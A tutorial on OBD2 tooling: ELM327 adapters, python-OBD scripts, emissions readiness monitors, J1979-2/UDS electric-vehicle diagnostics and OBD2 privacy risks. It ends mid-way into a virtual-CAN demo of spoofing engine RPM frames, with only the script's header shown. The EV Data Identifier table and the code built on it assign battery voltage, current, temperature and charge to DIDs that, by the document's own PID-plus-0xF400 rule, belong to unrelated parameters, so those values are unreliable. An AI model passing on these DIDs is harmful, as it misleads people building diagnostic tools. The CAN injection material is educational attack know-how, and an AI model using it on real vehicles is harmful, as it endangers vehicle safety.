Skip to content

OBD2 Diagnostic Tools, Compliance, EV Diagnostics, and Security

Document ID: OBD-03 Series: Telematics Tutorial Series Target audience: Intermediate-Advanced — you should understand On-Board Diagnostics (OBD2) service modes (see OBD-01: OBD2 Fundamentals) and the transport layer (see OBD-02: OBD2 Transport Layer).


Prerequisites and Cross-References

This document builds on concepts from earlier tutorials:

Learning Objectives

By the end of this document, you will be able to:

  • Choose and configure an ELM327-based OBD2 adapter for your application
  • Write Python scripts using python-OBD to read real-time vehicle data
  • Explain OBD2 emissions compliance requirements and the role of readiness monitors in inspections
  • Describe the extensions to OBD2 for Electric Vehicles (EV) and hybrids under Society of Automotive Engineers (SAE) J1979-2 (OBDonUDS)
  • Diagnose Battery Electric Vehicle (BEV) and Plug-in Hybrid Electric Vehicle (PHEV) high-voltage systems using UDS Data Identifiers (DID)
  • Identify OBD2 security and privacy concerns, including data exposure through aftermarket devices

1. ELM327-Based Adapters

The ELM327 is a programmed microcontroller (Integrated Circuit (IC)) designed by ELM Electronics that translates between a host device (computer, phone) and the vehicle’s OBD2 port. It handles the low-level protocol details — you send simple AT commands (the “ATtention” prefix originated from the Hayes modem command set) and OBD2 requests as ASCII text, and it returns decoded responses.

1.1 ELM327 Architecture

1.2 Connection Types

Connection Typical adapters Latency Range Best for
USB OBDLink SX, genuine ELM327 USB Low (< 10 ms) Wired Desktop/laptop logging, development
Bluetooth Classic — Serial Port Profile (SPP) ELM327 BT adapters Medium (20–50 ms) ~10 m Android phones, wireless logging
Bluetooth Low Energy (BLE) OBDLink MX+, Vgate iCar Medium (20–50 ms) ~10 m iOS/Android (iOS requires BLE)
WiFi ELM327 WiFi, OBDLink MX WiFi Medium (30–100 ms) ~10 m iOS (legacy), multi-device access
graph LR
    HOST[" Host Device
(PC / Phone)
python-OBD
Torque App"] ELM[" ELM327 IC
AT Commands
Protocol Detection
Frame Encoding"] XCVR[" CAN
Transceiver
(MCP2551)"] CONN[" J1962
OBD2
Connector"] BUS[" Vehicle
CAN Bus
ECU1, ECU2..."] HOST -->|"USB / BT / WiFi
ASCII AT commands"| ELM ELM -->|"UART
CAN frames"| XCVR XCVR -->|"CAN_H / CAN_L
Differential"| CONN CONN -->|"Pins 6,14"| BUS PIN16[" Pin 16
+12V Power"] -->|"Powers adapter"| ELM style HOST fill:#1565C0,stroke:#333,color:#fff style ELM fill:#388E3C,stroke:#333,color:#fff style XCVR fill:#E65100,stroke:#333,color:#fff style CONN fill:#6A1B9A,stroke:#333,color:#fff style BUS fill:#37474F,stroke:#333,color:#fff style PIN16 fill:#D32F2F,stroke:#333,color:#fff

Figure: OBD03 01 elm327 architecture

Latency note: Latency values are approximate and depend on vehicle model, Electronic Control Unit (ECU) firmware, bus load, and adapter type. The ranges shown are typical for light-duty passenger vehicles (2015+) using a USB CAN adapter at 500 kbit/s. Bluetooth and WiFi adapters add wireless stack overhead, and high bus load (e.g., during active regeneration or multi-ECU arbitration) can increase response times further.

⚠️ Warning: The ELM327 market is flooded with counterfeit chips that claim to be "ELM327 v2.1" or "v2.2" but are actually cheap clones with limited protocol support and firmware bugs. Genuine ELM327 ICs are manufactured only by ELM Electronics. For reliable operation, use adapters based on genuine ELM327, STN1110/STN2120 (by OBD Solutions/ScanTool), or similar proven chips. **Identifying counterfeit ELM327 adapters:** Counterfeit ELM327 adapters typically exhibit: (1) failing to respond to `ATI` with a version >= 1.4a, (2) inability to set CAN protocols via `ATSP6` or `ATSP7`, (3) corrupted responses on **CAN with Flexible Data-Rate (CAN FD)** vehicles, (4) hanging on multi-frame ISO-TP responses (**Vehicle Identification Number (VIN)** queries), and (5) intermittent Bluetooth disconnections. The chip inside is often a PIC18F25K80 running cloned firmware with limited protocol support.

1.3 Common AT Commands

Command Description Example
ATZ Reset the ELM327 ATZELM327 v2.1
ATI Display device ID ATIELM327 v2.1
ATSP 0 Set protocol to auto-detect ATSP 0
ATSP 6 Set protocol to CAN 11-bit 500k ATSP 6
ATRV Read vehicle voltage ATRV12.6V
ATH1 Enable header display Shows CAN IDs in responses
ATS0 Disable spaces in responses Compact hex output
ATDPN Describe current protocol number ATDPN6 (CAN 500k 11-bit)

1.4 Protocol Numbers

Protocol # Description
0 Automatic
1 SAE J1850 PWM (41.6 kbit/s)
2 SAE J1850 VPW (10.4 kbit/s)
3 ISO 9141-2 (5 baud init)
4 ISO 14230-4 KWP (5 baud init)
5 ISO 14230-4 KWP (fast init)
6 ISO 15765-4 CAN (11-bit, 500 kbit/s)
7 ISO 15765-4 CAN (29-bit, 500 kbit/s)
8 ISO 15765-4 CAN (11-bit, 250 kbit/s)
9 ISO 15765-4 CAN (29-bit, 250 kbit/s)
A SAE J1939 CAN (29-bit, 250 kbit/s)

2. Programming with python-OBD

The python-OBD library provides a high-level Python interface for querying OBD2 Parameter Identifiers (PID) through an ELM327 adapter.

2.1 Installation and Connection

# pip ("pip installs packages") — the standard Python package manager
pip install obd
import obd

# Auto-detect the adapter
connection = obd.OBD()  # Scans for Bluetooth/USB adapters

# Or specify a port explicitly
connection = obd.OBD("/dev/ttyUSB0")          # Linux USB
connection = obd.OBD("/dev/rfcomm0")           # Linux Bluetooth
connection = obd.OBD("COM3")                    # Windows USB/BT
connection = obd.OBD("192.168.0.10:35000")     # WiFi adapter

print(f"Connected: {connection.is_connected()}")
print(f"Protocol: {connection.protocol_name()}")
print(f"Port: {connection.port_name()}")
# Expected output (example — Linux USB adapter)
Connected: True
Protocol: ISO 15765-4 (CAN 11/500)
Port: /dev/ttyUSB0

The first pip install command installs the obd package from PyPI. The Python code above shows two connection strategies: auto-detection (where python-OBD scans available serial and Bluetooth ports) and explicit port specification for Linux, Windows, and WiFi adapters. After connecting, the three print statements confirm the connection status, the OBD2 protocol the adapter negotiated with the vehicle, and the serial port in use. If is_connected() returns False, check your adapter pairing and port path.

2.2 Querying Sensor Data

import obd

connection = obd.OBD()

# Query engine RPM
rpm_response = connection.query(obd.commands.RPM)
if not rpm_response.is_null():
    print(f"Engine RPM: {rpm_response.value.magnitude} {rpm_response.value.units}")

# Query vehicle speed
speed_response = connection.query(obd.commands.SPEED)
if not speed_response.is_null():
    print(f"Vehicle Speed: {speed_response.value.magnitude} {speed_response.value.units}")

# Query coolant temperature
temp_response = connection.query(obd.commands.COOLANT_TEMP)
if not temp_response.is_null():
    print(f"Coolant Temp: {temp_response.value.magnitude} {temp_response.value.units}")

# Query supported PIDs
pids = connection.query(obd.commands.PIDS_A)
print(f"Supported PIDs: {pids.value}")

connection.close()
# Output (example)
Engine RPM: 1726.0 revolutions_per_minute
Vehicle Speed: 65.0 kph
Coolant Temp: 92.0 degC
Supported PIDs: [PIDS_A, STATUS, FREEZE_DTC, ...]

Each query() call sends the corresponding OBD2 request through the ELM327 adapter and returns a response object. The is_null() check is essential — it returns True if the vehicle does not support that PID or the adapter failed to get a response. The value attribute is a pint.Quantity object with .magnitude (the numeric value) and .units (the unit label). The PIDS_A query returns a list of PIDs supported by the vehicle’s ECU, which you should check before querying other PIDs.

2.3 Asynchronous Monitoring

For continuous data logging, use the Async connection mode:

import obd
import time

connection = obd.Async()

# Register callbacks for PIDs you want to monitor
connection.watch(obd.commands.RPM)
connection.watch(obd.commands.SPEED)
connection.watch(obd.commands.COOLANT_TEMP)

# Start the monitoring loop
connection.start()

# Read values at any time (non-blocking)
for _ in range(10):
    rpm = connection.query(obd.commands.RPM)
    speed = connection.query(obd.commands.SPEED)
    temp = connection.query(obd.commands.COOLANT_TEMP)

    # Print available values; some PIDs may return None if the ECU doesn't support them
    if not rpm.is_null() and not speed.is_null() and not temp.is_null():
        print(f"RPM: {rpm.value.magnitude:.0f}, "
              f"Speed: {speed.value.magnitude:.0f} km/h, "
              f"Temp: {temp.value.magnitude:.0f} °C")
    else:
        # Partial data: print whichever values are available
        parts = []
        if not rpm.is_null():
            parts.append(f"RPM: {rpm.value.magnitude:.0f}")
        else:
            parts.append("RPM: N/A (unsupported or no response)")
        if not speed.is_null():
            parts.append(f"Speed: {speed.value.magnitude:.0f} km/h")
        else:
            parts.append("Speed: N/A (unsupported or no response)")
        if not temp.is_null():
            parts.append(f"Temp: {temp.value.magnitude:.0f} °C")
        else:
            parts.append("Temp: N/A (unsupported or no response)")
        print(", ".join(parts))
    time.sleep(1)

connection.stop()
connection.close()
# Expected output (example — partial data on first iteration, then full)
RPM: N/A (unsupported or no response), Speed: N/A (unsupported or no response), Temp: N/A (unsupported or no response)
RPM: 1726, Speed: 65 km/h, Temp: 92 °C
RPM: 1730, Speed: 65 km/h, Temp: 92 °C
RPM: 1728, Speed: 64 km/h, Temp: 92 °C
...

The Async connection runs a background thread that continuously polls the watched PIDs. When you call query() on an async connection, it returns the most recent cached value rather than sending a new request to the adapter — this is why it is non-blocking. The watch() calls register which PIDs the background loop should poll. You must call start() before reading values and stop() before closing. Note the is_null() checks on all three responses — any PID the vehicle does not support will return a null response, and accessing .value.magnitude on a null response raises an AttributeError.

2.4 Reading Diagnostic Trouble Codes (DTCs)

import obd

connection = obd.OBD()

# Read stored DTCs (Service 0x03)
dtcs = connection.query(obd.commands.GET_DTC)
if not dtcs.is_null():
    for code, description in dtcs.value:
        print(f"DTC: {code} — {description}")
else:
    print("No DTCs stored")

# Read freeze frame DTC (Service 0x02)
freeze = connection.query(obd.commands.GET_FREEZE_DTC)

# Clear DTCs (Service 0x04) — use with caution!
# connection.query(obd.commands.CLEAR_DTC)

connection.close()
# Expected output (example — vehicle with one stored DTC)
DTC: P0301 — Cylinder 1 Misfire Detected

The GET_DTC command sends OBD2 Service 0x03 and returns a list of (code, description) tuples for all stored DTCs. The GET_FREEZE_DTC command sends Service 0x02 to retrieve the DTC that triggered the most recent freeze frame snapshot. Note that python-OBD does not include a built-in command for Service 0x07 (pending DTCs) — if you need pending DTC access, you would need to define a custom command using the library’s OBDCommand class (see the python-OBD documentation for custom commands).

⚠️ Warning: The `CLEAR_DTC` command (Service 0x04) is shown commented out because clearing DTCs also resets all readiness monitors. After clearing, the vehicle will fail emissions inspection until all monitors complete their drive cycles again — typically 50-100 miles of mixed driving. Only clear DTCs when you have diagnosed and repaired the underlying fault.


3. Emissions Compliance

3.1 OBD2 Compliance Requirements

OBD2 compliance is a legal requirement in most developed markets. The key regulations:

Region Regulation Requirement
United States Clean Air Act, Environmental Protection Agency (EPA) regulations OBD2 mandatory for all light-duty vehicles since 1996
European Union Euro 3+ emissions standards EOBD mandatory for gasoline (2001) and diesel (2003)
China China 5/6 emissions standards China-OBD mandatory since 2017
India Bharat Stage VI OBD mandatory since 2020

3.2 Emissions Inspection Process

During a state or national emissions inspection:

  1. Visual inspection — check for tampered emissions equipment
  2. OBD2 connection — technician connects a certified scan tool
  3. MIL check — verify the Malfunction Indicator Lamp (MIL) status (must be off)
  4. DTC check — query stored DTCs (Service 0x03, see OBD-01). Any emissions-related DTC = fail
  5. Readiness monitor check — verify that a sufficient number of monitors are “complete”
  6. Permanent DTC check — some jurisdictions query Service 0x0A for permanent DTCs (see OBD-01)

3.3 Readiness Monitor Requirements

Each jurisdiction defines how many monitors must be “ready” (complete) to pass inspection:

Jurisdiction Max “not ready” monitors allowed
California (California Air Resources Board (CARB)) 2 for model year 1996–1999; 1 for 2000+
Federal (EPA) 2 for most states
European Union Varies by country; typically 0–1

📝 Note: The catalyst monitor and evaporative system monitor are the two most commonly "not ready" monitors. Both require specific driving conditions that may take multiple drive cycles to satisfy. If your vehicle just had DTCs cleared, plan for 50–100 miles of mixed driving before an emissions test.

3.4 Reading Readiness Monitors with python-OBD

You can query the readiness monitor status programmatically using the STATUS command (PID 0x01, as covered in OBD-01 Service 0x01):

import obd

connection = obd.OBD()

# Query monitor status (Service 0x01, PID 0x01)
status = connection.query(obd.commands.STATUS)

if not status.is_null():
    s = status.value
    print(f"MIL on: {s.MIL}")
    print(f"DTC count: {s.DTC_count}")
    print(f"Ignition type: {s.ignition_type}")

    # Check each monitor's availability and completeness
    for monitor in s.monitors:
        if monitor.available:
            state = "complete" if monitor.complete else "NOT READY"
            print(f"  {monitor.name}: {state}")

connection.close()
# Output (example — gasoline vehicle, all monitors ready)
MIL on: False
DTC count: 0
Ignition type: spark
  Misfire Monitor: complete
  Fuel System Monitor: complete
  Component Monitor: complete
  Catalyst Monitor: complete
  Heated Catalyst Monitor: complete
  Evaporative System Monitor: complete
  Secondary Air System Monitor: complete
  Oxygen Sensor Monitor: complete
  Oxygen Sensor Heater Monitor: complete

The STATUS command returns a Status object with the MIL state, stored DTC count, ignition type (spark or compression), and a list of monitor objects. Each monitor has an available flag (whether the vehicle supports that monitor) and a complete flag (whether the monitor has finished its drive cycle). For an emissions inspection, you need the MIL off, zero DTCs, and all available monitors complete (or within the allowed “not ready” count for your jurisdiction — see Section 3.3).


4. EV and Hybrid Diagnostics

4.1 The OBD2 Gap for EVs

Traditional OBD2 was designed for Internal Combustion Engine (ICE) vehicles. Many standard PIDs (engine RPM, coolant temperature, oxygen sensors) are meaningless or absent in a Battery Electric Vehicle (BEV). Early EVs (2010–2020) provided minimal OBD2 data — often just the legally required emissions-related monitors (which are trivially satisfied for a zero-emission vehicle).

The core challenge is that the most important EV diagnostic data — cell-level voltages, Battery Management System (BMS) state, thermal management, inverter health, and isolation resistance — lives in proprietary ECUs that were never part of the original OBD2 specification. Plug-in Hybrid Electric Vehicles (PHEV) face an additional complexity: they must support both ICE and EV diagnostic pathways simultaneously, often on separate CAN buses (a powertrain CAN for the engine and a separate High-Voltage (HV) CAN for the battery and inverter, bridged by a gateway ECU — see CAN-01 for physical bus topology).

4.2 SAE J1979-2 (OBDonUDS) — Why the Industry is Transitioning

While the previous sections covered the traditional SAE J1979 request/response model used since 1996, the industry is transitioning to a UDS-based approach. The motivation is threefold: (1) the 8-bit PID address space of J1979 limits the standard to 256 parameters per service mode, which is insufficient for EVs and advanced powertrains; (2) vehicle Original Equipment Manufacturers (OEM) already implement UDS (ISO 14229) for factory diagnostics, so maintaining a separate J1979 stack creates redundant code and testing burden; and (3) J1979-2 aligns emissions diagnostics with the same security mechanisms (authentication, session control) available in UDS, enabling future regulatory mandates around diagnostic data protection.

SAE J1979-2 (also called OBDonUDS) is the next-generation OBD standard that replaces SAE J1979. It uses Unified Diagnostic Services (UDS) (ISO 14229, detailed in OBD-02) as the underlying protocol instead of the traditional OBD2 service modes. The Environmental Protection Agency (EPA) has accepted J1979-2 as an equivalent compliance path starting with model year 2024, and CARB requires it for all new certifications from model year 2027 onward.

Key features of J1979-2:

  • UDS-based — uses UDS service 0x22 (ReadDataByIdentifier) instead of OBD2 Service Identifier (SID) 0x01
  • Data Identifiers (DID) replace PIDs — DIDs provide a much larger address space (16-bit vs 8-bit)
  • EV/hybrid-specific data — battery State of Charge (SOC), State of Health (SOH), cell voltages, inverter temperatures, electric motor speed/torque
  • Standardized EV DIDs — the standard defines specific DIDs for high-voltage battery data, charging status, and electric drivetrain parameters
  • PID-to-DID mapping — J1979-2 maps traditional PIDs to UDS DIDs in the range 0xF400–0xF4FF. For example, engine RPM maps to DID 0xF40C (derived from OBD-II PID 0x0C with the 0xF400 base offset). Similarly, vehicle speed (PID 0x0D) maps to DID 0xF40D, and coolant temperature (PID 0x05) maps to DID 0xF405. This systematic mapping allows J1979-2 tools to request legacy emission data using UDS ReadDataByIdentifier (0x22) with these standardized DIDs

Side-by-side comparison — J1979 vs J1979-2 for the same query (engine RPM):

Aspect J1979 (legacy) J1979-2 (OBDonUDS)
Request bytes 01 0C (Service 0x01, PID 0x0C) 22 F4 0C (UDS ReadDataByIdentifier, DID 0xF40C)
Positive response 41 0C AA BB 62 F4 0C AA BB
Negative Response Code (NRC) handling Not standardized UDS NRC 0x31 (requestOutOfRange), 0x14 (responseTooLong), etc.
Address space 256 PIDs per mode (8-bit) 65,536 DIDs (16-bit)
Security None (open access) Optional UDS SecurityAccess (0x27) or Authentication (0x29)
# J1979-2 equivalent of a J1979 RPM query using udsoncan
# pip install udsoncan python-can can-isotp

from udsoncan.connections import PythonIsoTpConnection
from udsoncan.client import Client
import can, isotp

can_bus = can.Bus(channel='can0', interface='socketcan', bitrate=500000)
tp_addr = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=0x7DF, rxid=0x7E8)
tp_layer = isotp.NotifierBasedCanStack(bus=can_bus, address=tp_addr)
conn = PythonIsoTpConnection(tp_layer)
client = Client(conn)

client.open()
try:
    # J1979-2: Read engine RPM via DID 0xF40C (same data as J1979 PID 0x0C)
    resp = client.read_data_by_identifier(0xF40C)
    raw = resp.service_data.values[0xF40C]
    rpm = ((raw[0] * 256) + raw[1]) / 4
    print(f"Engine RPM (via J1979-2 DID 0xF40C): {rpm:.0f}")
finally:
    client.close()
    can_bus.shutdown()

Expected output:

Engine RPM (via J1979-2 DID 0xF40C): 1726

4.3 EV-Specific Diagnostic Data

Data category ICE OBD2 (J1979) EV OBD2 (J1979-2)
Propulsion speed PID 0x0C (engine RPM) DID for motor RPM
Propulsion torque Not available DID for motor torque (Nm)
Energy source level PID 0x2F (fuel level %) DID for battery SOC (%)
Energy source health Not available DID for battery SOH (%)
Temperature PID 0x05 (coolant temp) DID for battery pack temp, inverter temp, motor temp
Emissions system O2 sensors, catalyst monitor Simplified (zero emissions)
Charging status Not available DID for charge port status, charge rate, time to full
High-voltage system Not available DID for HV battery voltage, current, isolation resistance
Cell-level data Not available DID for individual cell voltages (manufacturer-specific)
graph TB
    subgraph ICE[" ICE Vehicle — SAE J1979"]
        I1[" Engine RPM (PID 0x0C)"]
        I2[" Coolant Temp (PID 0x05)"]
        I3[" Fuel Level (PID 0x2F)"]
        I4[" O2 Sensors"]
        I5[" Catalyst Monitor"]
        I6[" Battery SOC"]
        I7[" HV Battery Voltage"]
        I8[" Charging Status"]
    end

    subgraph EV[" EV/Hybrid — SAE J1979-2"]
        E1[" Motor RPM (DID)"]
        E2[" Motor/Inverter Temp (DID)"]
        E3[" Battery SOC (DID)"]
        E4[" Battery SOH (DID)"]
        E5[" HV Battery Voltage (DID)"]
        E6[" Charging Status (DID)"]
        E7[" Cell Voltages (DID)"]
        E8[" O2 Sensors (N/A)"]
    end

    style ICE fill:#FFF3E0,stroke:#E65100
    style EV fill:#E8F5E9,stroke:#2E7D32
    style I6 fill:#FFCDD2,stroke:#D32F2F
    style I7 fill:#FFCDD2,stroke:#D32F2F
    style I8 fill:#FFCDD2,stroke:#D32F2F
    style E8 fill:#ECEFF1,stroke:#90A4AE

Figure: OBD03 02 ev diagnostic extensions

4.4 Current State of EV OBD2 Support

As of 2026, EV OBD2 support varies significantly by manufacturer:

  • Tesla: Minimal standard OBD2 support; most data accessible only through proprietary tools or reverse-engineered endpoints
  • Nissan (Leaf): Extended PID support through manufacturer-specific PIDs; community-documented
  • Chevrolet (Bolt): Standard OBD2 plus manufacturer-specific PIDs for battery data
  • Hyundai/Kia: Standard OBD2; HV battery data via UDS in extended session
  • Volkswagen ID series: J1979-2 (OBDonUDS) implementation in progress
  • Ford Mustang Mach-E: Mix of standard OBD2 and FordPass-accessible data

💡 Tip: For EV diagnostic data beyond standard OBD2, look for community reverse-engineering projects. Tools like SavvyCAN, can-utils, and python-udsoncan can be used to explore manufacturer-specific UDS services. However, modifying EV high-voltage system parameters carries serious safety risks — high-voltage battery systems operate at 400–800 V and can be lethal.

4.5 J1979-2 EV Diagnostic DIDs — Worked Examples

J1979-2 maps traditional OBD-II PIDs to UDS Data Identifiers (DID) in the 0xF400–0xF4FF range. The mapping formula is straightforward: DID = 0xF400 + legacy PID number. For example, PID 0x0C (engine RPM) becomes DID 0xF40C; PID 0x0D (vehicle speed) becomes DID 0xF40D. This allows a single UDS diagnostic stack to serve both legacy emission queries and new EV-specific parameters, eliminating the need for separate J1979 and UDS codepaths.

For EV-specific parameters — such as Battery Management System (BMS) data, high-voltage isolation monitoring, and charging session status — additional standardized DIDs are defined beyond the legacy PID mapping range:

Parameter J1979-2 DID UDS Service Description
Engine/Motor RPM 0xF40C ReadDataByIdentifier (0x22) Motor speed in RPM
Vehicle Speed 0xF40D ReadDataByIdentifier (0x22) km/h
Battery SOC 0xF45B ReadDataByIdentifier (0x22) State of charge (%)
HV Battery Voltage 0xF442 ReadDataByIdentifier (0x22) High-voltage battery pack voltage
HV Battery Current 0xF443 ReadDataByIdentifier (0x22) Pack current (A, negative = discharge)
Battery Temperature 0xF446 ReadDataByIdentifier (0x22) Average cell temperature
Charging Status 0xF449 ReadDataByIdentifier (0x22) 0=not charging, 1=AC, 2=DC fast
# pip install udsoncan python-can can-isotp
from udsoncan.connections import PythonIsoTpConnection
from udsoncan.client import Client
import udsoncan
import can
import isotp

# Define EV-specific DIDs
EV_DIDS = {
    0xF40C: ('Motor RPM', 'rpm', lambda a, b: ((a * 256) + b) / 4),
    0xF40D: ('Vehicle Speed', 'km/h', lambda a, b: a),
    0xF45B: ('Battery SOC', '%', lambda a, b: a * 100 / 255),
    0xF442: ('HV Battery Voltage', 'V', lambda a, b: (a * 256 + b) * 0.1),
    0xF443: ('HV Battery Current', 'A', lambda a, b: ((a * 256 + b) - 32768) * 0.1),
    0xF446: ('Battery Temperature', '°C', lambda a, b: a - 40),
}

# Connect
can_bus = can.Bus(channel='can0', interface='socketcan', bitrate=500000)
tp_addr = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=0x7E0, rxid=0x7E8)
tp_layer = isotp.NotifierBasedCanStack(bus=can_bus, address=tp_addr)
conn = PythonIsoTpConnection(tp_layer)
client = Client(conn)

client.open()
try:
    # Switch to extended diagnostic session for EV data
    client.change_session(0x03)

    print("EV Diagnostic Data:")
    print("=" * 50)
    for did, (name, unit, decoder) in EV_DIDS.items():
        try:
            response = client.read_data_by_identifier(did)
            raw = response.service_data.values[did]
            if isinstance(raw, bytes) and len(raw) >= 2:
                value = decoder(raw[0], raw[1])
                print(f"  {name:25s} {value:10.1f} {unit}")
            else:
                print(f"  {name:25s} raw={raw.hex() if isinstance(raw, bytes) else raw}")
        except udsoncan.exceptions.NegativeResponseException as e:
            # NRC = Negative Response Code (see OBD-02 Section on UDS error handling)
            print(f"  {name:25s} Not supported (NRC: {e.response.code})")
    print("=" * 50)

finally:
    client.close()
    can_bus.shutdown()

Expected output:

EV Diagnostic Data:
==================================================
  Motor RPM                      0.0 rpm
  Vehicle Speed                  0.0 km/h
  Battery SOC                   78.4 %
  HV Battery Voltage           356.8 V
  HV Battery Current            -0.5 A
  Battery Temperature           23.0 °C
==================================================

4.6 Complete EV Diagnostic Session Walkthrough

This walkthrough demonstrates a complete end-to-end EV diagnostic session: establishing a UDS connection over ISO-TP (see OBD-02 for ISO-TP details), switching to an extended diagnostic session, reading High-Voltage (HV) battery data from the BMS, and displaying State of Charge (SOC) and pack status information. This is the workflow a BEV or PHEV diagnostic tool would follow.

#!/usr/bin/env python3
"""Complete EV diagnostic session: read HV battery data via UDS.

Requirements:
    pip install udsoncan python-can can-isotp

Usage:
    Connect CAN adapter to the vehicle's OBD-II port.
    Ensure ignition is ON (engine/motor off is fine).
    python3 ev_diagnostic.py
"""
from udsoncan.connections import PythonIsoTpConnection
from udsoncan.client import Client
import udsoncan
import can
import isotp
import sys

def connect_to_vehicle(channel='can0', txid=0x7E0, rxid=0x7E8):
    """Establish UDS connection to vehicle ECU."""
    can_bus = can.Bus(channel=channel, interface='socketcan', bitrate=500000)
    tp_addr = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=txid, rxid=rxid)
    tp_layer = isotp.NotifierBasedCanStack(bus=can_bus, address=tp_addr)
    conn = PythonIsoTpConnection(tp_layer)
    client = Client(conn)
    return client, can_bus

def read_battery_data(client):
    """Read HV battery parameters via UDS DIDs."""
    battery_data = {}

    did_map = {
        0xF45B: 'soc_percent',
        0xF442: 'voltage_v',
        0xF443: 'current_a',
        0xF446: 'temp_c',
    }

    for did, key in did_map.items():
        try:
            resp = client.read_data_by_identifier(did)
            raw = resp.service_data.values[did]
            battery_data[key] = raw
        except udsoncan.exceptions.NegativeResponseException:
            battery_data[key] = None

    return battery_data

def display_battery_status(data):
    """Format and display battery data."""
    print("\n╔══════════════════════════════════════╗")
    print("║     HV Battery Status                ║")
    print("╠══════════════════════════════════════╣")

    if data.get('soc_percent') is not None:
        raw = data['soc_percent']
        soc = raw[0] * 100 / 255 if isinstance(raw, bytes) else float(raw)
        print(f"║  State of Charge:  {soc:6.1f}%           ║")

    if data.get('voltage_v') is not None:
        raw = data['voltage_v']
        v = (raw[0] * 256 + raw[1]) * 0.1 if isinstance(raw, bytes) else float(raw)
        print(f"║  Pack Voltage:     {v:6.1f} V           ║")

    if data.get('current_a') is not None:
        raw = data['current_a']
        i = ((raw[0] * 256 + raw[1]) - 32768) * 0.1 if isinstance(raw, bytes) else float(raw)
        status = "Charging" if i > 0 else "Discharging" if i < 0 else "Idle"
        print(f"║  Pack Current:     {i:6.1f} A ({status})")

    if data.get('temp_c') is not None:
        raw = data['temp_c']
        t = raw[0] - 40 if isinstance(raw, bytes) else float(raw)
        print(f"║  Temperature:      {t:6.1f} °C          ║")

    print("╚══════════════════════════════════════╝")

def main():
    client, can_bus = connect_to_vehicle()
    client.open()

    try:
        # Step 1: Start extended diagnostic session
        print("Starting extended diagnostic session...")
        client.change_session(0x03)

        # Step 2: Send TesterPresent to keep session alive
        client.tester_present()

        # Step 3: Read battery data
        print("Reading HV battery data...")
        battery = read_battery_data(client)

        # Step 4: Display results
        display_battery_status(battery)

    except Exception as e:
        print(f"Error: {e}", file=sys.stderr)
        sys.exit(1)
    finally:
        client.close()
        can_bus.shutdown()

if __name__ == '__main__':
    main()

Expected output:

Starting extended diagnostic session...
Reading HV battery data...

╔══════════════════════════════════════╗
║     HV Battery Status                ║
╠══════════════════════════════════════╣
║  State of Charge:   78.4%           ║
║  Pack Voltage:     356.8 V           ║
║  Pack Current:      -0.5 A (Discharging)
║  Temperature:       23.0 °C          ║
╚══════════════════════════════════════╝

⚠️ Safety warning: HV battery systems in BEVs and PHEVs operate at 400–800 V DC. Never probe HV connectors, service HV components, or modify BMS parameters through UDS without proper HV safety training and insulated tools rated for the voltage class. The diagnostic code above uses read-only UDS services and does not modify any vehicle parameters.


5. Security and Privacy

5.1 Data Exposure Through OBD2

OBD2 provides access to a surprising amount of personal and operational data (service modes are defined in OBD-01):

Data type Available through OBD2 Privacy concern
Vehicle Identification Number (VIN) Service 0x09 PID 0x02 Uniquely identifies the vehicle
Vehicle speed history Service 0x01 PID 0x0D + logging Driving behavior profiling
Location (via speed + time) Derived from speed data + timestamps Movement tracking
Engine/battery state Service 0x01 various PIDs Usage pattern analysis
DTCs Service 0x03 Vehicle condition / maintenance history
Odometer (some vehicles) Manufacturer-specific PIDs Mileage verification

5.2 Risks of Aftermarket OBD2 Devices

Aftermarket OBD2 devices (insurance dongles, fleet trackers, performance tuners) pose several security risks:

Insurance telematics dongles (e.g., Progressive Snapshot, State Farm Drive Safe) plug into the OBD-II port and read PIDs for driving behavior analysis. These devices typically use ELM327-compatible firmware and read-only OBD-II services. However, a compromised or malicious dongle with CAN bus access could potentially inject arbitrary frames — this has been demonstrated by researchers on devices with cellular connectivity and inadequate firmware validation.

  1. Data collection — many devices transmit all OBD2 data to cloud services, often without clear disclosure of what is collected and how it is used
  2. Attack surface — a WiFi or Bluetooth OBD2 adapter creates a wireless entry point to the vehicle’s CAN bus
  3. Firmware vulnerabilities — low-cost adapters rarely receive security updates
  4. Physical access — devices left plugged in are accessible to anyone who can reach the OBD2 port

5.3 Security Best Practices

  1. Remove adapters when not in use — a plugged-in OBD2 adapter is an always-on wireless entry point
  2. Use reputable adapters — choose adapters from established manufacturers (OBDLink, PEAK) with firmware update capability
  3. Review data sharing policies — understand what data is collected and transmitted by any OBD2 app or service
  4. Disable unnecessary wireless — if your adapter has WiFi and Bluetooth, disable the interface you are not using
  5. Monitor for unauthorized devices — periodically check the OBD2 port for unknown devices, especially on fleet vehicles

⚠️ Warning: Some vehicle manufacturers are considering restricting OBD2 access to emissions-related data only, citing security concerns. The **Secure Vehicle Interface (SVI)** proposal would require authentication for access beyond emissions diagnostics. This is an evolving area — check current regulations and manufacturer policies for your specific use case.

5.4 Security Incident Response

If CAN bus tampering is suspected, follow these steps:

  1. Document symptoms — record the observed behavior and capture any CAN traffic logs (using tools like SavvyCAN, candump, or a python-can script). Preserve timestamps and raw frames.
  2. Disconnect aftermarket devices — remove all non-OEM devices from the OBD-II port immediately. This includes adapters, dongles, fleet trackers, and performance tuners.
  3. Inspect for unauthorized hardware — check behind the dashboard and under the steering column for devices that may have been physically installed on the CAN bus wiring (T-tap splices, inline devices on CAN_H/CAN_L).
  4. Contact the vehicle manufacturer’s security response team — most OEMs now have a Product Security Incident Response Team (PSIRT). Check the manufacturer’s website for their vulnerability disclosure or security contact page.
  5. Report to NHTSA — the National Highway Traffic Safety Administration (NHTSA) handles vehicle safety. If a safety-critical system is affected (braking, steering, airbags, throttle control), file a complaint with NHTSA at nhtsa.gov/report-a-safety-problem. For non-US vehicles, contact the equivalent national authority (e.g., KBA in Germany, DVSA in the UK).

5.5 CAN Bus Security Demonstration (Virtual CAN (vcan) Only)

⚠️ Warning: These demonstrations use **virtual CAN (vcan)** interfaces only. Never run injection or flooding scripts on a live vehicle — doing so can cause loss of vehicle control, disable safety systems, or damage ECUs. For a broader treatment of CAN bus attack vectors and defenses, see [CAN-04 Section 5](CAN-04-interfaces-protocols-security.html).

# Install required packages
pip install python-can

# Setup virtual CAN (Linux only — requires root)
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

Script 1: Frame Injection — Spoof Engine RPM

#!/usr/bin/env python3
"""Inject spoofed engine RPM frames on virtual CAN bus.
Demonstrates how an attacker could fake sensor readings.
EDUCATIONAL USE ONLY.
"""
import can
import time

